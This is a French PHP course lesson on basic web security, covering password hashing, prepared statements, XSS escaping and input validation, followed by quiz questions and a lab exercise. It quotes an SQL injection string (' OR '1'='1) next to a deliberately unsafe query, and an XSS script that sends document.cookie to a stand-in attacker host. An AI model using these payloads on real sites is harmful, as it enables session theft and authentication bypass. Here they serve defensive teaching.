Aller au contenu principal

La sécurité de base

Notions théoriques

La sécurité, l'affaire de tous les développeurs

Dès qu'un programme est accessible sur le Web, il peut être visité par n'importe qui, y compris des personnes malveillantes. La sécurité n'est donc pas réservée à des experts : c'est un ensemble de réflexes simples que tout développeur doit acquérir dès le début de son apprentissage.

Depuis le début de ce cours, vous avez déjà croisé plusieurs situations sensibles :

  • des mots de passe saisis dans des formulaires (séance sur les formulaires),
  • des requêtes SQL construites avec des données venant de l'utilisateur (séance sur les bases de données),
  • des sessions qui identifient un utilisateur connecté (séance sur les sessions et rôles).

Cette séance rassemble et explique en détail les bons réflexes à adopter dans ces situations.

info

Une règle simple résume presque toute la sécurité informatique : ne jamais faire confiance aux données qui viennent de l'extérieur (un formulaire, une URL, un fichier envoyé...). Il faut toujours les vérifier avant de les utiliser.

Le hachage des mots de passe

Un mot de passe ne doit jamais être stocké en clair dans une base de données. Si la base de données est un jour volée ou consultée par une personne malveillante, tous les mots de passe seraient immédiatement utilisables.

À la place, on stocke un hachage du mot de passe : une empreinte à sens unique, impossible (ou extrêmement difficile) à retransformer en mot de passe d'origine.

PHP fournit deux fonctions pour cela :

  • password_hash($password, PASSWORD_DEFAULT) : calcule le hachage d'un mot de passe. La constante PASSWORD_DEFAULT laisse PHP choisir l'algorithme le plus sûr disponible.
  • password_verify($password, $hash) : compare un mot de passe saisi avec un hachage stocké, et renvoie true ou false.
// À l'inscription : on hache le mot de passe avant de l'enregistrer
$hashedPassword = password_hash("secret123", PASSWORD_DEFAULT);
// $hashedPassword ressemble à : $2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

// À la connexion : on vérifie le mot de passe saisi par rapport au hachage stocké
if (password_verify("secret123", $hashedPassword)) {
print("Mot de passe correct.");
} else {
print("Mot de passe incorrect.");
}
attention

Il ne faut jamais comparer un mot de passe avec == ou === par rapport à une valeur stockée en clair, et il ne faut jamais utiliser md5() ou sha1() pour hacher un mot de passe : ces fonctions sont trop rapides à calculer, ce qui permet à un attaquant de les "casser" facilement. password_hash() est conçue spécialement pour être lente et résister à ce type d'attaque.

Rappel : les requêtes préparées contre l'injection SQL

Vous avez découvert les requêtes préparées PDO dans la séance sur les bases de données. Rappel du principe : au lieu d'insérer directement les valeurs de l'utilisateur dans le texte de la requête SQL, on utilise des marqueurs de position (:name, :email...) puis on lie les valeurs réelles avec bindParam().

// Mauvaise pratique : concaténer directement les données de l'utilisateur
$stmt = $dbh->query("SELECT * FROM users WHERE username = '" . $_POST['username'] . "'");

// Bonne pratique : requête préparée
$stmt = $dbh->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindParam(':username', $_POST['username']);
$stmt->execute();

Sans requête préparée, un utilisateur malveillant pourrait saisir dans le formulaire une valeur comme ' OR '1'='1 pour modifier le sens de la requête SQL et contourner l'authentification : c'est ce qu'on appelle une injection SQL.

info

C'est exactement le même principe que pour les mots de passe : on ne fait jamais confiance à une donnée venant de l'utilisateur, on la traite toujours par un mécanisme sécurisé (ici, les marqueurs de position) plutôt que de la manipuler directement.

La protection contre les failles XSS

Une faille XSS (Cross-Site Scripting) se produit lorsqu'un site affiche, sans les vérifier, des données saisies par un utilisateur. Un attaquant peut alors saisir du code HTML ou JavaScript malveillant dans un formulaire (par exemple un champ "commentaire"), qui sera exécuté dans le navigateur des autres visiteurs qui consulteront la page.

// Un utilisateur malveillant saisit ce commentaire :
$comment = "<script>document.location='http://site-pirate.com/vol?cookie=' + document.cookie</script>";

// Si on l'affiche directement, le script s'exécute chez tous les visiteurs !
echo $comment; // DANGEREUX

Pour se protéger, PHP fournit la fonction htmlspecialchars(), qui convertit les caractères spéciaux HTML (<, >, ", ', &) en entités HTML inoffensives, de sorte qu'ils s'affichent comme du texte au lieu d'être interprétés comme du code.

echo htmlspecialchars($comment);
// Affiche le texte tel quel, sans exécuter le script
astuce

Règle simple à retenir : toute donnée qui vient d'un utilisateur et qui doit être affichée dans une page HTML doit passer par htmlspecialchars().

Ne jamais faire confiance aux données de l'utilisateur

Les variables superglobales $_GET et $_POST contiennent des données envoyées par le navigateur du visiteur. Rien ne garantit qu'elles contiennent ce que l'on attend : un champ peut être vide, absent, ou contenir volontairement une valeur inattendue.

Quelques bons réflexes de validation :

  • isset($_POST['champ']) : vérifier que le champ a bien été envoyé avant de l'utiliser.
  • empty($_POST['champ']) : vérifier qu'un champ n'est pas vide.
  • trim($_POST['champ']) : retirer les espaces inutiles en début et fin de saisie.
  • filter_var($valeur, FILTER_VALIDATE_EMAIL) : vérifier qu'une chaîne a bien le format d'une adresse email.
$email = trim($_POST['email'] ?? '');

if (empty($email)) {
print("L'adresse email est obligatoire.");
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
print("L'adresse email n'est pas valide.");
} else {
print("Adresse email valide : " . htmlspecialchars($email));
}

Exemple pratique

<?php
session_start();

// --- Étape 1 : inscription d'un nouvel utilisateur ---
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';

if (empty($username) || empty($password)) {
print("Le nom d'utilisateur et le mot de passe sont obligatoires.");
} else {
// On hache le mot de passe avant de l'enregistrer : jamais en clair !
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);

// Enregistrement sécurisé en base de données grâce à une requête préparée
$stmt = $dbh->prepare("INSERT INTO users (username, password) VALUES (:username, :password)");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $hashedPassword);
$stmt->execute();
}

// --- Étape 2 : affichage sécurisé d'un commentaire posté par un visiteur ---
$comment = $_POST['comment'] ?? '';
echo "<p>" . htmlspecialchars($comment) . "</p>";
attention

Cet exemple combine les trois réflexes essentiels : valider les données reçues, hacher les mots de passe et échapper l'affichage des données utilisateur. Retirer un seul de ces trois réflexes suffit à rendre l'application vulnérable.

Test de mémorisation/compréhension


Pourquoi ne faut-il jamais stocker un mot de passe en clair dans une base de données ?


Quelle fonction PHP permet de hacher un mot de passe de façon sécurisée ?


Quelle fonction permet de vérifier qu'un mot de passe saisi correspond à un hachage stocké ?


Quelle constante utiliser avec password_hash() pour laisser PHP choisir le meilleur algorithme disponible ?


Pourquoi les requêtes préparées PDO protègent-elles contre l'injection SQL ?


Qu'est-ce qu'une faille XSS (Cross-Site Scripting) ?


Quelle fonction PHP permet d'échapper des données avant de les afficher, pour se protéger des failles XSS ?


Que doit faire un développeur avec les données provenant de $_GET ou $_POST ?


Parmi les pratiques suivantes, lesquelles sont de bonnes pratiques de sécurité ?


TP pour réfléchir et résoudre des problèmes

Vous développez un petit espace membres avec inscription, connexion et un mur de commentaires publics. Vous allez sécuriser chacune de ces fonctionnalités.

  • Dans votre répertoire "Documents", créez le répertoire tp_securite.
  • Créez les fichiers inscription.php, connexion.php et commentaires.php.

Étape 1 — Hacher le mot de passe à l'inscription

Dans inscription.php, l'utilisateur saisit un nom d'utilisateur et un mot de passe. Avant d'enregistrer ces informations, il faut hacher le mot de passe.


Bonne pratique - Ne jamais manipuler le mot de passe en clair après hachage

Une fois le mot de passe haché, ne conservez plus jamais la variable contenant le mot de passe en clair au-delà de ce qui est strictement nécessaire. N'écrivez jamais un mot de passe en clair dans un fichier de log.

Étape 2 — Vérifier le mot de passe à la connexion

Dans connexion.php, il faut comparer le mot de passe saisi par l'utilisateur avec le hachage stocké en base de données.


Bonne pratique - Comparer avec password_verify(), jamais avec == ou ===

Ne comparez jamais deux hachages ou un mot de passe et un hachage avec == ou === : seule la fonction password_verify() sait comparer correctement un mot de passe en clair à un hachage.

Étape 3 — Échapper l'affichage d'un commentaire

Dans commentaires.php, les visiteurs peuvent poster un commentaire, qui est ensuite affiché sur la page à tous les autres visiteurs.


Bonne pratique - Toujours échapper les données affichées

Toute donnée provenant d'un utilisateur (formulaire, base de données alimentée par un formulaire...) doit passer par htmlspecialchars() avant d'être insérée dans une page HTML, même si elle a déjà été validée à l'enregistrement.

Étape 4 — Valider que le commentaire n'est pas vide avant de l'enregistrer

Avant d'accepter un commentaire, il faut vérifier qu'il n'est pas vide (une fois les espaces inutiles retirés).


Bonne pratique - Toujours valider les entrées utilisateur

Ne faites jamais l'hypothèse qu'un champ de formulaire contient forcément une valeur correcte. Validez systématiquement les données reçues avant de les utiliser ou de les enregistrer.

📌 Une solution